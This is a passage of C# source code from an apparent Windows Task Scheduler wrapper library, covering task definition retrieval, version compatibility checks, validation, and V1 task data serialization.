security descriptor for the task.</param>\n        /// <param name=\"options\">Flags that specify how to set the security descriptor.</param>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public void SetSecurityDescriptorSddlForm([NotNull] string sddlForm, TaskSetSecurityOptions options = TaskSetSecurityOptions.None)\n        {\n            if (v2Task != null)\n                v2Task.SetSecurityDescriptor(sddlForm, (int)options);\n            else\n                throw new NotV1SupportedException();\n        }\n\n        /// <summary>Dynamically tries to load the assembly for the editor and displays it as editable for this task.</summary>\n        /// <returns><c>true</c> if editor returns with OK response; <c>false</c> otherwise.</returns>\n        /// <remarks>\n        /// The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll\n        /// or in the GAC.\n        /// </remarks>\n        public bool ShowEditor()\n        {\n            try\n            {\n                var t = ReflectionHelper.LoadType(\"Microsoft.Win32.TaskScheduler.TaskEditDialog\", \"Microsoft.Win32.TaskSchedulerEditor.dll\");\n                if (t != null)\n                    return ReflectionHelper.InvokeMethod<int>(t, new object[] { this, true, true }, \"ShowDialog\") == 1;\n            }\n            catch { }\n            return false;\n        }\n\n        /// <summary>Shows the property page for the task (v1.0 only).</summary>\n        public void ShowPropertyPage()\n        {\n            if (v1Task != null)\n                v1Task.EditWorkItem(IntPtr.Zero, 0);\n            else\n                throw new NotV2SupportedException();\n        }\n\n        /// <summary>Stops the registered task immediately.</summary>\n        /// <remarks>\n        /// <para>The <c>Stop</c> method stops all instances of the task.</para>\n        /// <para>\n        /// System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to\n        /// execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same\n        /// credentials as the user account. In all other cases, the user is denied access to stop the task.\n        /// </para>\n        /// </remarks>\n        public void Stop()\n        {\n            if (v2Task != null)\n                v2Task.Stop(0);\n            else\n                v1Task.Terminate();\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString() => Name;\n\n        int IComparable.CompareTo(object other) => CompareTo(other as Task);\n\n        internal static Task CreateTask(TaskService svc, IRegisteredTask iTask, bool throwError = false)\n        {\n            var iDef = GetV2Definition(svc, iTask, throwError);\n            if (iDef != null || !svc.AllowReadOnlyTasks) return new Task(svc, iTask, iDef);\n            iDef = GetV2StrippedDefinition(svc, iTask);\n            return new Task(svc, iTask, iDef) { ReadOnly = true };\n        }\n\n        internal static int GetOSLibraryMinorVersion() => TaskService.LibraryVersion.Minor;\n\n        [NotNull]\n        internal static string GetV1Path(ITask v1Task)\n        {\n            var iFile = (IPersistFile)v1Task;\n            iFile.GetCurFile(out var fileName);\n            return fileName ?? string.Empty;\n        }\n\n        /// <summary>\n        /// Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the\n        /// Task Scheduler.\n        /// </summary>\n        /// <param name=\"svc\">The local task service.</param>\n        /// <param name=\"iTask\">The task instance.</param>\n        /// <param name=\"throwError\">if set to <c>true</c> this method will throw an exception if unable to get the task definition.</param>\n        /// <returns>A valid ITaskDefinition that should not throw errors on the local instance.</returns>\n        /// <exception cref=\"System.InvalidOperationException\">Unable to get a compatible task definition for this version of the library.</exception>\n        internal static ITaskDefinition GetV2Definition(TaskService svc, IRegisteredTask iTask, bool throwError = false)\n        {\n            var xmlVer = new Version();\n            try\n            {\n                var dd = new DefDoc(iTask.Xml);\n                xmlVer = dd.Version;\n                if (xmlVer.Minor > osLibMinorVer)\n                {\n                    var newMinor = xmlVer.Minor;\n                    if (!dd.Contains(\"Volatile\", \"false\", true) &&\n                        !dd.Contains(\"MaintenanceSettings\"))\n                        newMinor = 3;\n                    if (!dd.Contains(\"UseUnifiedSchedulingEngine\", \"false\", true) &&\n                        !dd.Contains(\"DisallowStartOnRemoteAppSession\", \"false\", true) &&\n                        !dd.Contains(\"RequiredPrivileges\") &&\n                        !dd.Contains(\"ProcessTokenSidType\", \"Default\", true))\n                        newMinor = 2;\n                    if (!dd.Contains(\"DisplayName\") &&\n                        !dd.Contains(\"GroupId\") &&\n                        !dd.Contains(\"RunLevel\", \"LeastPrivilege\", true) &&\n                        !dd.Contains(\"SecurityDescriptor\") &&\n                        !dd.Contains(\"Source\") &&\n                        !dd.Contains(\"URI\") &&\n                        !dd.Contains(\"AllowStartOnDemand\", \"true\", true) &&\n                        !dd.Contains(\"AllowHardTerminate\", \"true\", true) &&\n                        !dd.Contains(\"MultipleInstancesPolicy\", \"IgnoreNew\", true) &&\n                        !dd.Contains(\"NetworkSettings\") &&\n                        !dd.Contains(\"StartWhenAvailable\", \"false\", true) &&\n                        !dd.Contains(\"SendEmail\") &&\n                        !dd.Contains(\"ShowMessage\") &&\n                        !dd.Contains(\"ComHandler\") &&\n                        !dd.Contains(\"EventTrigger\") &&\n                        !dd.Contains(\"SessionStateChangeTrigger\") &&\n                        !dd.Contains(\"RegistrationTrigger\") &&\n                        !dd.Contains(\"RestartOnFailure\") &&\n                        !dd.Contains(\"LogonType\", \"None\", true))\n                        newMinor = 1;\n\n                    if (newMinor > osLibMinorVer && throwError)\n                        throw new InvalidOperationException($\"The current version of the native library (1.{osLibMinorVer}) does not support the original or minimum version of the \\\"{iTask.Name}\\\" task ({xmlVer}/1.{newMinor}). This is likely due to attempting to read the remote tasks of a newer version of Windows from a down-level client.\");\n\n                    if (newMinor != xmlVer.Minor)\n                    {\n                        dd.Version = new Version(1, newMinor);\n                        var def = svc.v2TaskService.NewTask(0);\n                        def.XmlText = dd.Xml;\n                        return def;\n                    }\n                }\n                return iTask.Definition;\n            }\n            catch (COMException comEx)\n            {\n                if (throwError)\n                {\n                    if ((uint)comEx.ErrorCode == 0x80041318 && xmlVer.Minor != osLibMinorVer) // Incorrect XML value\n                        throw new InvalidOperationException($\"The current version of the native library (1.{osLibMinorVer}) does not support the version of the \\\"{iTask.Name}\\\" task ({xmlVer})\");\n                    throw;\n                }\n            }\n            catch\n            {\n                if (throwError)\n                    throw;\n            }\n            return null;\n        }\n\n        internal static ITaskDefinition GetV2StrippedDefinition(TaskService svc, IRegisteredTask iTask)\n        {\n            try\n            {\n                var dd = new DefDoc(iTask.Xml);\n                var xmlVer = dd.Version;\n                if (xmlVer.Minor > osLibMinorVer)\n                {\n                    if (osLibMinorVer < 4)\n                    {\n                        dd.RemoveTag(\"Volatile\");\n                        dd.RemoveTag(\"MaintenanceSettings\");\n                    }\n                    if (osLibMinorVer < 3)\n                    {\n                        dd.RemoveTag(\"UseUnifiedSchedulingEngine\");\n                        dd.RemoveTag(\"DisallowStartOnRemoteAppSession\");\n                        dd.RemoveTag(\"RequiredPrivileges\");\n                        dd.RemoveTag(\"ProcessTokenSidType\");\n                    }\n                    if (osLibMinorVer < 2)\n                    {\n                        dd.RemoveTag(\"DisplayName\");\n                        dd.RemoveTag(\"GroupId\");\n                        dd.RemoveTag(\"RunLevel\");\n                        dd.RemoveTag(\"SecurityDescriptor\");\n                        dd.RemoveTag(\"Source\");\n                        dd.RemoveTag(\"URI\");\n                        dd.RemoveTag(\"AllowStartOnDemand\");\n                        dd.RemoveTag(\"AllowHardTerminate\");\n                        dd.RemoveTag(\"MultipleInstancesPolicy\");\n                        dd.RemoveTag(\"NetworkSettings\");\n                        dd.RemoveTag(\"StartWhenAvailable\");\n                        dd.RemoveTag(\"SendEmail\");\n                        dd.RemoveTag(\"ShowMessage\");\n                        dd.RemoveTag(\"ComHandler\");\n                        dd.RemoveTag(\"EventTrigger\");\n                        dd.RemoveTag(\"SessionStateChangeTrigger\");\n                        dd.RemoveTag(\"RegistrationTrigger\");\n                        dd.RemoveTag(\"RestartOnFailure\");\n                        dd.RemoveTag(\"LogonType\");\n                    }\n                    dd.RemoveTag(\"WnfStateChangeTrigger\"); // Remove custom triggers that can't be sent to Xml\n                    dd.Version = new Version(1, osLibMinorVer);\n                    var def = svc.v2TaskService.NewTask(0);\n#if DEBUG\n\t\t\t\t\tvar path = System.IO.Path.Combine(System.IO.Path.GetTempPath(),\n\t\t\t\t\t\t$\"TS_Stripped_Def_{xmlVer.Minor}-{osLibMinorVer}_{iTask.Name}.xml\");\n\t\t\t\t\tFile.WriteAllText(path, dd.Xml, Encoding.Unicode);\n#endif\n                    def.XmlText = dd.Xml;\n                    return def;\n                }\n            }\n            catch (Exception ex)\n            {\n                Debug.WriteLine($\"Error in GetV2StrippedDefinition: {ex}\");\n#if DEBUG\n\t\t\t\tthrow;\n#endif\n            }\n            return iTask.Definition;\n        }\n\n        internal static TimeSpan StringToTimeSpan(string input)\n        {\n            if (!string.IsNullOrEmpty(input))\n                try { return XmlConvert.ToTimeSpan(input); } catch { }\n            return TimeSpan.Zero;\n        }\n\n        internal static string TimeSpanToString(TimeSpan span)\n        {\n            if (span != TimeSpan.Zero)\n                try { return XmlConvert.ToString(span); } catch { }\n            return null;\n        }\n\n        internal void V1Reactivate()\n        {\n            var iTask = TaskService.GetTask(TaskService.v1TaskScheduler, Name);\n            if (iTask != null)\n                v1Task = iTask;\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        protected void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        private class DefDoc\n        {\n            private readonly XmlDocument doc;\n\n            public DefDoc(string xml)\n            {\n                doc = new XmlDocument();\n                doc.LoadXml(xml);\n            }\n\n            public Version Version\n            {\n                get\n                {\n                    try\n                    {\n                        return new Version(doc[\"Task\"].Attributes[\"version\"].Value);\n                    }\n                    catch\n                    {\n                        throw new InvalidOperationException(\"Task definition does not contain a version.\");\n                    }\n                }\n                set\n                {\n                    var task = doc[\"Task\"];\n                    if (task != null) task.Attributes[\"version\"].Value = value.ToString(2);\n                }\n            }\n\n            public string Xml => doc.OuterXml;\n\n            public bool Contains(string tag, string defaultVal = null, bool removeIfFound = false)\n            {\n                var nl = doc.GetElementsByTagName(tag);\n                while (nl.Count > 0)\n                {\n                    var e = nl[0];\n                    if (e.InnerText != defaultVal || !removeIfFound || e.ParentNode == null)\n                        return true;\n                    e.ParentNode?.RemoveChild(e);\n                    nl = doc.GetElementsByTagName(tag);\n                }\n                return false;\n            }\n\n            public void RemoveTag(string tag)\n            {\n                var nl = doc.GetElementsByTagName(tag);\n                while (nl.Count > 0)\n                {\n                    var e = nl[0];\n                    e.ParentNode?.RemoveChild(e);\n                    nl = doc.GetElementsByTagName(tag);\n                }\n            }\n        }\n    }\n\n    /// <summary>Contains information about the compatibility of the current configuration with a specified version.</summary>\n    [PublicAPI]\n    public class TaskCompatibilityEntry\n    {\n        internal TaskCompatibilityEntry(TaskCompatibility comp, string prop, string reason)\n        {\n            CompatibilityLevel = comp;\n            Property = prop;\n            Reason = reason;\n        }\n\n        /// <summary>Gets the compatibility level.</summary>\n        /// <value>The compatibility level.</value>\n        public TaskCompatibility CompatibilityLevel { get; }\n\n        /// <summary>Gets the property name with the incompatibility.</summary>\n        /// <value>The property name.</value>\n        public string Property { get; }\n\n        /// <summary>Gets the reason for the incompatibility.</summary>\n        /// <value>The reason.</value>\n        public string Reason { get; }\n    }\n\n    /// <summary>Defines all the components of a task, such as the task settings, triggers, actions, and registration information.</summary>\n    [XmlRoot(\"Task\", Namespace = tns, IsNullable = false)]\n    [XmlSchemaProvider(\"GetV1SchemaFile\")]\n    [PublicAPI, Serializable]\n    public sealed class TaskDefinition : IDisposable, IXmlSerializable, INotifyPropertyChanged\n    {\n        internal const string tns = \"http://schemas.microsoft.com/windows/2004/02/mit/task\";\n\n        internal string v1Name = string.Empty;\n        internal ITask v1Task;\n        internal ITaskDefinition v2Def;\n\n        private ActionCollection actions;\n        private TaskPrincipal principal;\n        private TaskRegistrationInfo regInfo;\n        private TaskSettings settings;\n        private TriggerCollection triggers;\n\n        internal TaskDefinition([NotNull] ITask iTask, string name)\n        {\n            v1Task = iTask;\n            v1Name = name;\n        }\n\n        internal TaskDefinition([NotNull] ITaskDefinition iDef) => v2Def = iDef;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets a collection of actions that are performed by the task.</summary>\n        [XmlArrayItem(ElementName = \"Exec\", IsNullable = true, Type = typeof(Action.ExecAction))]\n        [XmlArrayItem(ElementName = \"ShowMessage\", IsNullable = true, Type = typeof(Action.ShowMessageAction))]\n        [XmlArrayItem(ElementName = \"ComHandler\", IsNullable = true, Type = typeof(Action.ComHandlerAction))]\n        [XmlArrayItem(ElementName = \"SendEmail\", IsNullable = true, Type = typeof(Action.EmailAction))]\n        [XmlArray]\n        [NotNull, ItemNotNull]\n        public ActionCollection Actions => actions ??= v2Def != null ? new ActionCollection(v2Def) : new ActionCollection(v1Task);\n\n        /// <summary>\n        /// Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by\n        /// third-parties who wish to extend the task format.\n        /// </summary>\n        /// <remarks>\n        /// For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data\n        /// stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can\n        /// have values under V2. An example of this is the <see cref=\"TaskRegistrationInfo.URI\"/> value which is stored in the data stream.\n        /// <para>\n        /// The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access\n        /// to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values\n        /// if SetWorkItemData is used.\n        /// </para>\n        /// </remarks>\n        [CanBeNull]\n        public string Data\n        {\n            get => v2Def != null ? v2Def.Data : v1Task.GetDataItem(nameof(Data));\n            set\n            {\n                if (v2Def != null)\n                    v2Def.Data = value;\n                else\n                    v1Task.SetDataItem(nameof(Data), value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the lowest supported version that supports the settings for this <see cref=\"TaskDefinition\"/>.</summary>\n        [XmlIgnore]\n        public TaskCompatibility LowestSupportedVersion => GetLowestSupportedVersion();\n\n        /// <summary>Gets a collection of triggers that are used to start a task.</summary>\n        [XmlArrayItem(ElementName = \"BootTrigger\", IsNullable = true, Type = typeof(BootTrigger))]\n        [XmlArrayItem(ElementName = \"CalendarTrigger\", IsNullable = true, Type = typeof(CalendarTrigger))]\n        [XmlArrayItem(ElementName = \"IdleTrigger\", IsNullable = true, Type = typeof(IdleTrigger))]\n        [XmlArrayItem(ElementName = \"LogonTrigger\", IsNullable = true, Type = typeof(LogonTrigger))]\n        [XmlArrayItem(ElementName = \"TimeTrigger\", IsNullable = true, Type = typeof(TimeTrigger))]\n        [XmlArray]\n        [NotNull, ItemNotNull]\n        public TriggerCollection Triggers => triggers ??= v2Def != null ? new TriggerCollection(v2Def) : new TriggerCollection(v1Task);\n\n        /// <summary>Gets or sets the XML-formatted definition of the task.</summary>\n        [XmlIgnore]\n        public string XmlText\n        {\n            get => v2Def != null ? v2Def.XmlText : XmlSerializationHelper.WriteObjectToXmlText(this);\n            set\n            {\n                if (v2Def != null)\n                    v2Def.XmlText = value;\n                else\n                    XmlSerializationHelper.ReadObjectFromXmlText(value, this);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the principal for the task that provides the security credentials for the task.</summary>\n        [NotNull]\n        public TaskPrincipal Principal => principal ??= v2Def != null ? new TaskPrincipal(v2Def.Principal, () => XmlText) : new TaskPrincipal(v1Task);\n\n        /// <summary>\n        /// Gets a class instance of registration information that is used to describe a task, such as the description of the task, the\n        /// author of the task, and the date the task is registered.\n        /// </summary>\n        public TaskRegistrationInfo RegistrationInfo => regInfo ??= v2Def != null ? new TaskRegistrationInfo(v2Def.RegistrationInfo) : new TaskRegistrationInfo(v1Task);\n\n        /// <summary>Gets the settings that define how the Task Scheduler service performs the task.</summary>\n        [NotNull]\n        public TaskSettings Settings => settings ??= v2Def != null ? new TaskSettings(v2Def.Settings) : new TaskSettings(v1Task);\n\n        /// <summary>Gets the XML Schema file for V1 tasks.</summary>\n        /// <param name=\"xs\">The <see cref=\"System.Xml.Schema.XmlSchemaSet\"/> for V1 tasks.</param>\n        /// <returns>An object containing the XML Schema for V1 tasks.</returns>\n        public static XmlSchemaComplexType GetV1SchemaFile([NotNull] XmlSchemaSet xs)\n        {\n            XmlSchema schema;\n            using (var xsdFile = Assembly.GetAssembly(typeof(TaskDefinition)).GetManifestResourceStream(\"Microsoft.Win32.TaskScheduler.V1.TaskSchedulerV1Schema.xsd\"))\n            {\n                var schemaSerializer = new XmlSerializer(typeof(XmlSchema));\n                schema = (XmlSchema)schemaSerializer.Deserialize(XmlReader.Create(xsdFile));\n                xs.Add(schema);\n            }\n\n            // target namespace\n            var name = new XmlQualifiedName(\"taskType\", tns);\n            var productType = (XmlSchemaComplexType)schema.SchemaTypes[name];\n\n            return productType;\n        }\n\n        /// <summary>\n        /// Determines whether this <see cref=\"TaskDefinition\"/> can use the Unified Scheduling Engine or if it contains unsupported properties.\n        /// </summary>\n        /// <param name=\"throwExceptionWithDetails\">\n        /// if set to <c>true</c> throws an <see cref=\"InvalidOperationException\"/> with details about unsupported properties in the Data\n        /// property of the exception.\n        /// </param>\n        /// <param name=\"taskSchedulerVersion\"></param>\n        /// <returns><c>true</c> if this <see cref=\"TaskDefinition\"/> can use the Unified Scheduling Engine; otherwise, <c>false</c>.</returns>\n        public bool CanUseUnifiedSchedulingEngine(bool throwExceptionWithDetails = false, Version taskSchedulerVersion = null)\n        {\n            var tsVer = taskSchedulerVersion ?? TaskService.LibraryVersion;\n            if (tsVer < TaskServiceVersion.V1_3) return false;\n            var ex = new InvalidOperationException { HelpLink = \"http://msdn.microsoft.com/en-us/library/windows/desktop/aa384138(v=vs.85).aspx\" };\n            var bad = false;\n            /*if (Principal.LogonType == TaskLogonType.InteractiveTokenOrPassword)\n\t\t\t{\n\t\t\t\tbad = true;\n\t\t\t\tif (!throwExceptionWithDetails) return false;\n\t\t\t\tTryAdd(ex.Data, \"Principal.LogonType\", \"== TaskLogonType.InteractiveTokenOrPassword\");\n\t\t\t}\n\t\t\tif (Settings.MultipleInstances == TaskInstancesPolicy.StopExisting)\n\t\t\t{\n\t\t\t\tbad = true;\n\t\t\t\tif (!throwExceptionWithDetails) return false;\n\t\t\t\tTryAdd(ex.Data, \"Settings.MultipleInstances\", \"== TaskInstancesPolicy.StopExisting\");\n\t\t\t}*/\n            if (Settings.NetworkSettings.Id != Guid.Empty && tsVer >= TaskServiceVersion.V1_5)\n            {\n                bad = true;\n                if (!throwExceptionWithDetails) return false;\n                TryAdd(ex.Data, \"Settings.NetworkSettings.Id\", \"!= Guid.Empty\");\n            }\n            /*if (!Settings.AllowHardTerminate)\n\t\t\t{\n\t\t\t\tbad = true;\n\t\t\t\tif (!throwExceptionWithDetails) return false;\n\t\t\t\tTryAdd(ex.Data, \"Settings.AllowHardTerminate\", \"== false\");\n\t\t\t}*/\n            if (!Actions.PowerShellConversion.IsFlagSet(PowerShellActionPlatformOption.Version2))\n                for (var i = 0; i < Actions.Count; i++)\n                {\n                    var a = Actions[i];\n                    switch (a)\n                    {\n                        case Action.EmailAction _:\n                            bad = true;\n                            if (!throwExceptionWithDetails) return false;\n                            TryAdd(ex.Data, $\"Actions[{i}]\", \"== typeof(EmailAction)\");\n                            break;\n\n                        case Action.ShowMessageAction _:\n                            bad = true;\n                            if (!throwExceptionWithDetails) return false;\n                            TryAdd(ex.Data, $\"Actions[{i}]\", \"== typeof(ShowMessageAction)\");\n                            break;\n                    }\n                }\n            if (tsVer == TaskServiceVersion.V1_3)\n                for (var i = 0; i < Triggers.Count; i++)\n                {\n                    Trigger t;\n                    try { t = Triggers[i]; }\n                    catch\n                    {\n                        if (!throwExceptionWithDetails) return false;\n                        TryAdd(ex.Data, $\"Triggers[{i}]\", \"is irretrievable.\");\n                        continue;\n                    }\n                    switch (t)\n                    {\n                        case MonthlyTrigger _:\n                            bad = true;\n                            if (!throwExceptionWithDetails) return false;\n                            TryAdd(ex.Data, $\"Triggers[{i}]\", \"== typeof(MonthlyTrigger)\");\n                            break;\n\n                        case MonthlyDOWTrigger _:\n                            bad = true;\n                            if (!throwExceptionWithDetails) return false;\n                            TryAdd(ex.Data, $\"Triggers[{i}]\", \"== typeof(MonthlyDOWTrigger)\");\n                            break;\n                            /*case ICalendarTrigger _ when t.Repetition.IsSet():\n\t\t\t\t\t\t\t\tbad = true;\n\t\t\t\t\t\t\t\tif (!throwExceptionWithDetails) return false;\n\t\t\t\t\t\t\t\tTryAdd(ex.Data, $\"Triggers[{i}].Repetition\", \"\");\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase EventTrigger _ when ((EventTrigger)t).ValueQueries.Count > 0:\n\t\t\t\t\t\t\t\tbad = true;\n\t\t\t\t\t\t\t\tif (!throwExceptionWithDetails) return false;\n\t\t\t\t\t\t\t\tTryAdd(ex.Data, $\"Triggers[{i}].ValueQueries.Count\", \"!= 0\");\n\t\t\t\t\t\t\t\tbreak;*/\n                    }\n                    if (t.ExecutionTimeLimit != TimeSpan.Zero)\n                    {\n                        bad = true;\n                        if (!throwExceptionWithDetails) return false;\n                        TryAdd(ex.Data, $\"Triggers[{i}].ExecutionTimeLimit\", \"!= TimeSpan.Zero\");\n                    }\n                }\n            if (bad && throwExceptionWithDetails)\n                throw ex;\n            return !bad;\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            regInfo = null;\n            triggers = null;\n            settings = null;\n            principal = null;\n            actions = null;\n            if (v2Def != null) Marshal.ReleaseComObject(v2Def);\n            v1Task = null;\n        }\n\n        /// <summary>Validates the current <see cref=\"TaskDefinition\"/>.</summary>\n        /// <param name=\"throwException\">\n        /// if set to <c>true</c> throw a <see cref=\"InvalidOperationException\"/> with details about invalid properties.\n        /// </param>\n        /// <returns><c>true</c> if current <see cref=\"TaskDefinition\"/> is valid; <c>false</c> if not.</returns>\n        public bool Validate(bool throwException = false)\n        {\n            var ex = new InvalidOperationException();\n            if (Settings.UseUnifiedSchedulingEngine)\n            {\n                try { CanUseUnifiedSchedulingEngine(throwException); }\n                catch (InvalidOperationException iox)\n                {\n                    foreach (DictionaryEntry kvp in iox.Data)\n                        TryAdd(ex.Data, (kvp.Key as ICloneable)?.Clone() ?? kvp.Key, (kvp.Value as ICloneable)?.Clone() ?? kvp.Value);\n                }\n            }\n\n            if (Settings.Compatibility >= TaskCompatibility.V2_2)\n            {\n                var PT1D = TimeSpan.FromDays(1);\n                if (Settings.MaintenanceSettings.IsSet() && (Settings.MaintenanceSettings.Period < PT1D || Settings.MaintenanceSettings.Deadline < PT1D || Settings.MaintenanceSettings.Deadline <= Settings.MaintenanceSettings.Period))\n                    TryAdd(ex.Data, \"Settings.MaintenanceSettings\", \"Period or Deadline must be at least 1 day and Deadline must be greater than Period.\");\n            }\n\n            var list = new List<TaskCompatibilityEntry>();\n            if (GetLowestSupportedVersion(list) > Settings.Compatibility)\n                foreach (var item in list)\n                    TryAdd(ex.Data, item.Property, item.Reason);\n\n            var startWhenAvailable = Settings.StartWhenAvailable;\n            var delOldTask = Settings.DeleteExpiredTaskAfter != TimeSpan.Zero;\n            var v1 = Settings.Compatibility < TaskCompatibility.V2;\n            var hasEndBound = false;\n            for (var i = 0; i < Triggers.Count; i++)\n            {\n                Trigger trigger;\n                try { trigger = Triggers[i]; }\n                catch\n                {\n                    TryAdd(ex.Data, $\"Triggers[{i}]\", \"is irretrievable.\");\n                    continue;\n                }\n                if (startWhenAvailable && trigger.Repetition.Duration != TimeSpan.Zero && trigger.EndBoundary == DateTime.MaxValue)\n                    TryAdd(ex.Data, \"Settings.StartWhenAvailable\", \"== true requires time-based tasks with an end boundary or time-based tasks that are set to repeat infinitely.\");\n                if (v1 && trigger.Repetition.Interval != TimeSpan.Zero && trigger.Repetition.Interval >= trigger.Repetition.Duration)\n                    TryAdd(ex.Data, \"Trigger.Repetition.Interval\", \">= Trigger.Repetition.Duration under Task Scheduler 1.0.\");\n                if (trigger.EndBoundary <= trigger.StartBoundary)\n                    TryAdd(ex.Data, \"Trigger.StartBoundary\", \">= Trigger.EndBoundary is not allowed.\");\n                if (delOldTask && trigger.EndBoundary != DateTime.MaxValue)\n                    hasEndBound = true;\n            }\n            if (delOldTask && !hasEndBound)\n                TryAdd(ex.Data, \"Settings.DeleteExpiredTaskAfter\", \"!= TimeSpan.Zero requires at least one trigger with an end boundary.\");\n\n            if (throwException && ex.Data.Count > 0)\n                throw ex;\n            return ex.Data.Count == 0;\n        }\n\n        XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(XmlReader reader)\n        {\n            reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), tns);\n            XmlSerializationHelper.ReadObjectProperties(reader, this);\n            reader.ReadEndElement();\n        }\n\n        void IXmlSerializable.WriteXml(XmlWriter writer) =>\n            // TODO:FIX writer.WriteAttributeString(\"version\", \"1.1\");\n            XmlSerializationHelper.WriteObjectProperties(writer, this);\n\n        internal static Dictionary<string, string> GetV1TaskDataDictionary(ITask v1Task)\n        {\n            Dictionary<string, string> dict;\n            var o = GetV1TaskData(v1Task);\n            if (o is string)\n                dict = new Dictionary<string, string>(2) { { \"Data\", o.ToString() }, { \"Documentation\", o.ToString() } };\n            else\n                dict = o as Dictionary<string, string>;\n            return dict ?? new Dictionary<string, string>();\n        }\n\n        internal static void SetV1TaskData(ITask v1Task, object value)\n        {\n            if (value == null)\n                v1Task.SetWorkItemData(0, null);\n            else\n            {\n                var b = new BinaryFormatter();\n                var stream = new MemoryStream();\n                b.Serialize(stream, value);\n                v1Task.SetWorkItemData((ushort)stream.Length, stream.ToArray());\n            }\n        }\n\n        internal void V1Save(string newName)\n        {\n            if (v1Task != null)\n            {\n                Triggers.Bind();\n\n                var iFile = (IPersistFile)v1Task;\n                if (string.IsNullOrEmpty(newName) || newName == v1Name)\n                {\n                    try\n                    {\n                        iFile.Save(null, false);\n                        iFile = null;\n                        return;\n                    }\n                    catch { }\n                }\n\n                iFile.GetCurFile(out var path);\n                File.Delete(path);\n                path = Path.GetDirectoryName(path) + Path.DirectorySeparatorChar + newName + Path.GetExtension(path);\n                File.Delete(path);\n                iFile.Save(path, true);\n            }\n        }\n\n        private static object GetV1TaskData(ITask v1Task)\n        {\n            var Data = IntPtr.Zero;\n            try\n            {\n                v1Task.GetWorkItemData(out var DataLen, out Data);\n                if (DataLen == 0)\n                    return null;\n                var bytes = new byte[DataLen];\n                Marshal.Copy(Data, bytes, 0, DataLen);\n                var stream = new MemoryStream(bytes, false);\n                var b = new BinaryFormatter();\n                return b.Deserialize(stream);\n            }\n            catch { }\n            finally\n            {\n                if (Data != IntPtr.Zero)\n                    Marshal.FreeCoTaskMem(Data);\n            }\n            return null;\n        }\n\n        private static void TryAdd(IDictionary d, object k, object v)\n        {\n            if (!d.Contains(k))\n                d.Add(k, v);\n        }\n\n        /// <summary>Gets the lowest supported version.</summary>\n        /// <param name=\"outputList\">The output list.</param>\n        /// <returns></returns>\n        private TaskCompatibility GetLowestSupportedVersion(IList<TaskCompatibilityEntry> outputList = null)\n        {\n            var res = TaskCompatibility.V1;\n            var list = new List<TaskCompatibilityEntry>();\n\n            //if (Principal.DisplayName != null)\n            //\t{ list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Principal.DisplayName\", \"cannot have a value.\")); }\n            if (Principal.GroupId != null)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Principal.GroupId\", \"cannot have a value.\")); }\n            //this.Principal.Id != null ||\n            if (Principal.LogonType == TaskLogonType.Group || Principal.LogonType == TaskLogonType.None || Principal.LogonType == TaskLogonType.S4U)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Principal.LogonType\", \"cannot be Group, None or S4U.\")); }\n            if (Principal.RunLevel == TaskRunLevel.Highest)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Principal.RunLevel\", \"cannot be set to Highest.\")); }\n            if (RegistrationInfo.SecurityDescriptorSddlForm != null)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"RegistrationInfo.SecurityDescriptorSddlForm\", \"cannot have a value.\")); }\n            //if (RegistrationInfo.Source != null)\n            //\t{ list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"RegistrationInfo.Source\", \"cannot have a value.\")); }\n            //if (RegistrationInfo.URI != null)\n            //\t{ list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"RegistrationInfo.URI\", \"cannot have a value.\")); }\n            //if (RegistrationInfo.Version != new Version(1, 0))\n            //\t{ list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"RegistrationInfo.Version\", \"cannot be set or equal 1.0.\")); }\n            if (Settings.AllowDemandStart == false)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.AllowDemandStart\", \"must be true.\")); }\n            if (Settings.AllowHardTerminate == false)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.AllowHardTerminate\", \"must be true.\")); }\n            if (Settings.MultipleInstances != TaskInstancesPolicy.IgnoreNew)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.MultipleInstances\", \"must be set to IgnoreNew.\")); }\n            if (Settings.NetworkSettings.IsSet())\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.NetworkSetting\", \"cannot have a value.\")); }\n            if (Settings.RestartCount != 0)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.RestartCount\", \"must be 0.\")); }\n            if (Settings.RestartInterval != TimeSpan.Zero)\n            { list.Add(new 